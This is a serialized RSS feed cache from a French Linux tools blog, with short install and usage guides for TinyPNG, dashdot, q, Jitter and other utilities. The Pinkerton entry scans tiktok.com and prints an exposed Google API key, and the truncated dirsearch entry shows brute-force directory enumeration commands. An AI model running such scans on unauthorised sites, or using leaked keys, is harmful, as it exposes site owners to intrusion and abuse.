<p>Tout d&rsquo;abord, il vous faut une clé API pour pouvoir utiliser l&rsquo;API de TinyPNG. Pour obtenir une clé API, vous pouvez vous rendre sur le site web de TinyPNG et créer un compte gratuit. Une fois que vous avez créé votre compte, vous pouvez récupérer votre clé API dans les paramètres de votre compte.</p>
<p>Une fois que vous avez obtenu votre clé API, vous pouvez utiliser cURL pour compresser une image en utilisant cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl -u api:YOUR_API_KEY --data-binary @unoptimized.png https://api.tinify.com/shrink
</span></span></code></pre></div><p>Dans cette commande, vous devez remplacer <code>YOUR_API_KEY</code> par votre clé API récupérée précédemment. Vous pouvez également remplacer <code>unoptimized.png</code> par le nom de l&rsquo;image que vous souhaitez compresser.</p>
<p>Cette commande retournera le résultat de la compression sous forme de JSON, qui contiendra l&rsquo;URL du fichier compressé. Si vous souhaitez télécharger le fichier compressé, vous pouvez utiliser la commande <code>wget</code> pour récupérer le fichier à l&rsquo;aide de cette URL :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget -o optimized.png <span class="k">$(</span><span class="nb">printf</span> <span class="nv">$result</span> <span class="p">|</span> jq -r <span class="s1">&#39;.output.url&#39;</span><span class="k">)</span>
</span></span></code></pre></div><p>Dans cette commande, vous devez remplacer <code>optimized.png</code> par le nom que vous souhaitez donner au fichier compressé, et <code>$result</code> par le résultat de la commande cURL précédente.</p>
<p>En utilisant ces quelques commandes, vous pouvez facilement compresser une image en utilisant l&rsquo;API de TinyPNG. Cette API vous permet de compresser des images sans perte de qualité, ce qui est idéal pour les sites web et les applications qui ont besoin de charger des images rapidement tout en conservant une bonne qualité d&rsquo;image.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:24;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:79:"dashdot un tableau de bord pour visualiser les performances de votre ordinateur";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:99:"https://azlinux.fr/dashdot-un-tableau-de-bord-pour-visualiser-les-performances-de-votre-ordinateur/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 13 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:99:"https://azlinux.fr/dashdot-un-tableau-de-bord-pour-visualiser-les-performances-de-votre-ordinateur/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1513:"<img src="https://azlinux.fr/uploads/39b64e233fa11b996319376188ba087a.webp" alt="Featured image of post dashdot un tableau de bord pour visualiser les performances de votre ordinateur" /><p>À la différence de l&rsquo;article de <a class="link" href="https://azlinux.fr/wirestat" >wirestat</a>, avec dashdot vous avez une interface claire pour superviser votre système, il fonctionne avec les dernières technologies et il est destiné à être utilisé pour les petits VPS et les serveurs privés.</p>
<p><img src="https://azlinux.fr/uploads/f55fc08fc731c820cc6b6266cc82aae5.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Pour installer dashdot, il suffit d&rsquo;exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run -d <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="se"></span>  -p 3001:3001 <span class="se">\
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="se"></span>  -v /:/mnt/host:ro <span class="se">\
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="se"></span>  --privileged <span class="se">\
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="se"></span>  mauricenino/dashdot
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:25;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:85:"wirestat un outil qui renvoie dans une réponse JSON les métriques de votre système";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:28:"https://azlinux.fr/wirestat/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 12 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"https://azlinux.fr/wirestat/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1494:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post wirestat un outil qui renvoie dans une réponse JSON les métriques de votre système" /><p>Il s&rsquo;agit d&rsquo;une appli relativement simple qui, lorsqu&rsquo;elle est exécutée sur une machine, produit des mesures du système dans une réponse JSON via une liaison HTTP.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Il suffit d&rsquo;aller sur le port 8930 de votre machine, qui est modifiable. Voici un exemple de commande qui peut être utilisée :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl http://127.0.0.1:8930/ <span class="p">|</span> jq
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<p>Si vous voulez utiliser <code>jtr</code> pour l&rsquo;installation, vous devrez d&rsquo;abord l&rsquo;installer en suivant le guide : <a class="link" href="https://azlinux.fr/jitter-un-gestionnaire-de-binaires-pour-git" >azlinux.fr/jitter-un-gestionnaire-de-binaires-pour-git</a></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">jtr install ssddanbrown/wirestat
</span></span></code></pre></div><p>[ <a class="link" href="https://github.com/ssddanbrown/wirestat"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:26;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:71:"q un client DNS qui prend en charge les protocoles UDP, TCP, DoT et DoH";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:69:"https://azlinux.fr/q-un-client-dns-qui-supporte-plusieurs-protocoles/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:69:"https://azlinux.fr/q-un-client-dns-qui-supporte-plusieurs-protocoles/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2179:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post q un client DNS qui prend en charge les protocoles UDP, TCP, DoT et DoH" /><p>Si vous cherchez un outil pour interroger les serveurs de noms DNS, le petit programme <code>q</code> devra vous satisfaire ; il supporte les nouveaux protocoles comme <a class="link" href="https://fr.wikipedia.org/wiki/DNS_over_HTTPS"  target="_blank" rel="noopener"
    >DNS-over-HTTPS</a> contrairement à la commande <code>dig</code> disponible sous Linux.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Voici quelques commandes qui peuvent vous être utiles :</p>
<ol>
<li>Ligne de commande pour obtenir le type d&rsquo;enregistrement :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">q A NS MX TXT twitter.com
</span></span></code></pre></div><ol start="2">
<li>Prise en charge du protocole DNS-over-HTTPS :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">q @https://doh-de.blahdns.com/dns-query twitter.com
</span></span></code></pre></div><ol start="3">
<li>Prise en charge du format JSON :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">q --format<span class="o">=</span>json @https://doh-de.blahdns.com/dns-query twitter.com <span class="p">|</span> jq
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<p>Si vous voulez utiliser <code>jtr</code> pour l&rsquo;installation, vous devrez d&rsquo;abord l&rsquo;installer en suivant le guide : <a class="link" href="jitter-un-gestionnaire-de-binaires-pour-git" >azlinux.fr/jitter-un-gestionnaire-de-binaires-pour-git</a></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">jtr install natesales/q
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:27;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"Pinkerton un crawler de fichiers JavaScript";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:63:"https://azlinux.fr/pinkerton-un-crawler-de-fichiers-javascript/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:63:"https://azlinux.fr/pinkerton-un-crawler-de-fichiers-javascript/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2071:"<img src="https://azlinux.fr/uploads/591e212e301ddcfe80cd2414efd59777.webp" alt="Featured image of post Pinkerton un crawler de fichiers JavaScript" /><p>Pinkerton est un outil qui permet de trouver des clés API sensibles dans les scripts JavaScript d&rsquo;une page web. Il peut être utilisé lors de CTF ou pour améliorer la sécurité de votre propre application.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Voici un exemple avec le merveilleux TikTok :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 main.py -u https://tiktok.com
</span></span></code></pre></div><p>Curieusement, ils n&rsquo;ont probablement pas fait le ménage dans leurs scripts JavaScript puisque nous trouvons des clés API provenant de Google :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">[+] Google Cloud Platform API Key found in
</span></span><span class="line"><span class="ln">2</span><span class="cl">https://lf16-tiktok-web.ttwstatic.com/obj/tiktok-web-us/tiktok/webapp/main/webapp-desktop/webapp-desktop.9522dec86ed8b78a3b0e.js ~
</span></span><span class="line"><span class="ln">3</span><span class="cl">[&#39;AIzaSyDHGqRfibWT6DffZBTYlhXfTQHAP_ri1MI&#39;]
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ol>
<li>D&rsquo;abord, clonez le dépôt :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git clone https://github.com/oppsec/pinkerton
</span></span></code></pre></div><ol start="2">
<li>Ensuite, téléchargez les dépendances :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 install -r requirements.txt
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:28;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:56:"Activer la correction automatique pour les commandes Git";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:76:"https://azlinux.fr/activer-la-correction-automatique-pour-les-commandes-git/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:76:"https://azlinux.fr/activer-la-correction-automatique-pour-les-commandes-git/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1856:"<img src="https://azlinux.fr/uploads/a1d42f9a5b090c4c15e5765a26142dab.webp" alt="Featured image of post Activer la correction automatique pour les commandes Git" /><p>Si vous en avez marre de faire des fautes de frappe lorsque vous utilisez Git, vous pouvez activer la correction automatique des commandes en attribuant une valeur au paramètre de configuration help.autocorrect. Pour l’activer, vous devez exécuter la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git config --global help.autocorrect <span class="m">1</span>
</span></span></code></pre></div><p>Avec cette configuration, si vous faites une erreur en tapant une commande Git, comme par exemple cmmit au lieu de commit, Git répondra généralement avec un message du type :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">git: &#39;cmmit&#39; is not a git command. See &#39;git --help&#39;.
</span></span><span class="line"><span class="ln">2</span><span class="cl">Did you mean this?
</span></span><span class="line"><span class="ln">3</span><span class="cl">        commit
</span></span></code></pre></div><p>Si vous ne voulez plus utiliser cette configuration, vous pouvez la désactiver en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git config --global --unset help.autocorrect
</span></span></code></pre></div><p>En désactivant cette option, Git ne proposera plus de corrections automatiques lorsque vous faites des erreurs de frappe dans vos commandes.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:29;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:62:"Un raccourcisseur de liens gratuit utilisant Cloudflare Worker";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:82:"https://azlinux.fr/un-raccourcisseur-de-liens-gratuit-utilisant-cloudflare-worker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 08 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:82:"https://azlinux.fr/un-raccourcisseur-de-liens-gratuit-utilisant-cloudflare-worker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1643:"<img src="https://azlinux.fr/uploads/be196264d005b8c634cc708c547e3279.webp" alt="Featured image of post Un raccourcisseur de liens gratuit utilisant Cloudflare Worker" /><p><a class="link" href="https://github.com/xyTom/Url-Shorten-Worker"  target="_blank" rel="noopener"
    >Url-Shorten-Worker</a> est un script JavaScript qui vous permet de créer un raccourcisseur de liens gratuit avec Cloudflare Worker.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Après l&rsquo;installation, vous obtiendrez une URL avec l&rsquo;accès à cette interface pour raccourcir des liens :</p>
<p><img src="https://azlinux.fr/uploads/d4342d65639831aa3d5e4aa6a24bce59.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<ol>
<li>Allez dans Workers KV et créez un espace de nom :</li>
</ol>
<p><img src="https://azlinux.fr/uploads/472ce7312c6931788b10bc65deb97cd2.webp"
	
	
	
	loading="lazy"
	
	
></p>
<ol start="2">
<li>Allez à l&rsquo;onglet « Paramètres » du Worker et sélectionnez « Liaisons d’espace de noms KV » :</li>
</ol>
<p><img src="https://azlinux.fr/uploads/2c731470ffc54091718d2063a8d66b4b.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Note : le nom de la variable doit être défini comme <code>LINKS</code> et l&rsquo;espace de nom KV est l&rsquo;espace de nom que vous venez de créer à l&rsquo;étape précédente.</p>
<ol start="3">
<li>
<p>Copiez le code du fichier <a class="link" href="https://github.com/xyTom/Url-Shorten-Worker/raw/main/index.js"  target="_blank" rel="noopener"
    ><code>index.js</code></a> vers Cloudflare Worker</p>
</li>
<li>
<p>Cliquez sur Enregistrer et Déployer</p>
</li>
</ol>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:30;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:57:"Seal une appli pour télécharger des vidéos sur Android";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:75:"https://azlinux.fr/seal-une-appli-pour-telechargere-des-videos-sur-android/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 07 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:75:"https://azlinux.fr/seal-une-appli-pour-telechargere-des-videos-sur-android/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1649:"<img src="https://azlinux.fr/uploads/c1da61693a42092141378a0f3ddf4d96.webp" alt="Featured image of post Seal une appli pour télécharger des vidéos sur Android" /><p>Seal, en plus de son interface très fluide, vous permet de télécharger des vidéos et des fichiers audio à partir de plateformes vidéo prises en charge par <code>yt-dlp</code> telles que YouTube, Twitch ou Dailymotion et bien d&rsquo;autres.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Il vous suffit d&rsquo;indiquer le lien de la vidéo, dans cet exemple une musique disponible sur YouTube. Vous pouvez ensuite configurer certains paramètres et lancer le téléchargement :</p>
<p><img src="https://azlinux.fr/uploads/64afbd39d1c58cf9b8dae4216c0c3cc4.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Vous pouvez ensuite parcourir tous les téléchargements de vidéos ou d&rsquo;audio :</p>
<p><img src="https://azlinux.fr/uploads/c1678145f7c50f1c2582530ddc2f1e82.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Il est possible de télécharger Seal depuis F-Droid :</p>
<p><a class="link" href="https://f-droid.org/fr/packages/com.junkfood.seal"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/b52c13d01f70796ea056a4c0217d233e.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
<p>Vous pouvez également télécharger la dernière version de l&rsquo;application sous forme d&rsquo;APK depuis GitHub :</p>
<p><a class="link" href="https://github.com/JunkFood02/Seal/releases/latest"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/7b4da04663831be6be6956990d008895.svg"
	
	
	
	loading="lazy"
	
	
></a></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:31;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"Jitter un gestionnaire de binaires pour Git";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:63:"https://azlinux.fr/jitter-un-gestionnaire-de-binaires-pour-git/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 06 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:63:"https://azlinux.fr/jitter-un-gestionnaire-de-binaires-pour-git/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2443:"<img src="https://azlinux.fr/uploads/a1d42f9a5b090c4c15e5765a26142dab.webp" alt="Featured image of post Jitter un gestionnaire de binaires pour Git" /><p>Jitter est un outil qui vous permet de parcourir les versions d&rsquo;un projet avec des extensions de fichier <code>.tar.gz</code>, <code>.tgz</code>, <code>.zip</code>, ou <code>.AppImage</code>, et de les installer ensuite. Notez que Jitter est en cours de développement, il ne fonctionne qu&rsquo;avec GitHub pour le moment et peut présenter quelques dysfonctionnements.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Dans cet exemple vous trouverez les commandes les plus utiles, et nous prendrons l&rsquo;exemple du projet VSCodium :</p>
<ol>
<li>
<p>Installer un binaire : <code>jtr install gh:vscodium/vscodium@master</code></p>
</li>
<li>
<p>Mettre à jour un binaire à la dernière version : <code>jtr update vscodium/vscodium@master</code></p>
</li>
<li>
<p>Supprime le binaire VSCodium : <code>jtr remove vscodium/vscodium@master</code></p>
</li>
<li>
<p>Recherche et liste toutes les versions d&rsquo;un dépôt : <code>jtr search vscodium/vscodium</code></p>
</li>
<li>
<p>Liste tous les exécutables : <code>jtr list</code></p>
</li>
</ol>
<h2 id="installation">Installation</h2>
<ol>
<li>Tout d&rsquo;abord, téléchargez le fichier binaire :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget https://github.com/sharpcdf/jitter/releases/latest/download/jtr.tar.gz
</span></span></code></pre></div><ol start="2">
<li>Maintenant, nous devons extraire l&rsquo;archive pour accéder à l&rsquo;outil depuis n&rsquo;importe quel dossier :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo tar -xf jtr.tar.gz -C /usr/local/bin/
</span></span></code></pre></div><ol start="3">
<li>Et enfin, nous devons accorder les droits d&rsquo;exécution :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo chmod <span class="m">755</span> /usr/local/bin/jtr
</span></span></code></pre></div><p>[ <a class="link" href="https://github.com/kevspau/jitter"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:32;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:96:"dirsearch un outil permettant de visualiser tous les fichiers et répertoires d&#039;un site web";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:29:"https://azlinux.fr/dirsearch/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 05 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:29:"https://azlinux.fr/dirsearch/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2306:"<img src="https://azlinux.fr/uploads/89d0a2ea339bb08a5e42fc5a4661382c.webp" alt="Featured image of post dirsearch un outil permettant de visualiser tous les fichiers et répertoires d'un site web" /><p>dirsearch est un outil de brute force en ligne de commande conçu pour repérer les répertoires et les fichiers d&rsquo;un site web</p>
<h2 id="utilisation">Utilisation</h2>
<h3 id="chemins-daccès-fréquents">Chemins d&rsquo;accès fréquents</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dirsearch -u http://10.10.2.15/
</span></span></code></pre></div><h3 id="spécifier-les-extensions">Spécifier les extensions</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dirsearch -e php,html,js -u http://10.10.2.15/
</span></span></code></pre></div><h3 id="utilisation-dune-word-list">Utilisation d&rsquo;une word list</h3>
